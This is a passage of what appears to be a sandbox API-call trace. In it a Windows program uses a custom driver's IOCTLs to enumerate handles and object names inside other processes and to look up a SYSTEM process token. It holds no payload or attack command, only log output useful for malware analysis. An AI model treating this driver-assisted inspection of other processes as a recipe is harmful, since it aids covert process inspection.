PsReleaseProcessExitSynchronization () returned 0x2 [0131.929] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.929] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.929] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0131.929] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.929] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.929] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0131.929] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.929] PsAcquireProcessExitSynchronization () returned 0x0 [0131.929] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.929] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0131.929] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.929] PsReleaseProcessExitSynchronization () returned 0x2 [0131.929] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.929] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.929] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0131.929] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.929] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.930] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0131.930] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.930] PsAcquireProcessExitSynchronization () returned 0x0 [0131.930] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.930] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0131.930] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.930] PsReleaseProcessExitSynchronization () returned 0x2 [0131.930] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.930] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.930] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0131.930] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.930] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.930] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.930] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.930] PsAcquireProcessExitSynchronization () returned 0x0 [0131.930] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.930] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0131.930] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.930] PsReleaseProcessExitSynchronization () returned 0x2 [0131.930] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.930] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.930] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0131.930] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.930] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.930] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0131.930] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.931] PsAcquireProcessExitSynchronization () returned 0x0 [0131.931] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.931] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0131.931] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.931] PsReleaseProcessExitSynchronization () returned 0x2 [0131.931] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.931] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.931] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0131.931] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.931] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.931] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0131.931] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.931] PsAcquireProcessExitSynchronization () returned 0x0 [0131.931] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.931] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0131.931] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.931] PsReleaseProcessExitSynchronization () returned 0x2 [0131.931] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.931] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.931] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0131.931] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.931] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.931] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.931] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.931] PsAcquireProcessExitSynchronization () returned 0x0 [0131.932] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.932] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0131.932] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.932] PsReleaseProcessExitSynchronization () returned 0x2 [0131.932] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.932] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.932] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0131.932] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.932] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.932] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0131.932] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.932] PsAcquireProcessExitSynchronization () returned 0x0 [0131.932] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.932] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0131.932] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.932] PsReleaseProcessExitSynchronization () returned 0x2 [0131.932] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.932] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.932] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0131.932] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.932] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.932] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.932] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.932] PsAcquireProcessExitSynchronization () returned 0x0 [0131.932] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880050005d0) [0131.932] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0131.932] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.933] PsReleaseProcessExitSynchronization () returned 0x2 [0131.933] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0131.933] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.933] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0131.933] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.933] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.933] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0131.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.933] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0131.933] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0131.933] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ee [0131.933] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa8003c70540 | out: TokenHandle=0xfffffa8003c70540*=0xc8) returned 0x0 [0131.933] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0131.933] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.933] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.933] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.935] CloseHandle (hObject=0xc8) returned 1 [0131.935] CloseHandle (hObject=0xc0) returned 1 [0131.935] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.935] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.935] PsAcquireProcessExitSynchronization () returned 0x0 [0131.935] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.935] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0131.935] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.935] PsReleaseProcessExitSynchronization () returned 0x2 [0131.935] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.935] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.935] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0131.935] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.935] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.935] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.935] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.935] PsAcquireProcessExitSynchronization () returned 0x0 [0131.935] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.935] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0131.935] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.935] PsReleaseProcessExitSynchronization () returned 0x2 [0131.935] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.935] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.935] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0131.935] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.936] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0131.936] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.936] PsAcquireProcessExitSynchronization () returned 0x0 [0131.936] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.936] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0131.936] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.936] PsReleaseProcessExitSynchronization () returned 0x2 [0131.936] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.936] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.936] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0131.936] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.936] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.936] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.936] PsAcquireProcessExitSynchronization () returned 0x0 [0131.936] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.936] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.936] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.936] PsReleaseProcessExitSynchronization () returned 0x2 [0131.936] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.936] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.936] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.936] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.936] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.936] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.936] PsAcquireProcessExitSynchronization () returned 0x0 [0131.936] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.936] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0131.937] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.937] PsReleaseProcessExitSynchronization () returned 0x2 [0131.937] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.937] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.937] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0131.937] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.937] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.937] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.937] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.937] PsAcquireProcessExitSynchronization () returned 0x0 [0131.937] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.937] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0131.937] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.937] PsReleaseProcessExitSynchronization () returned 0x2 [0131.937] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.937] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.937] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b 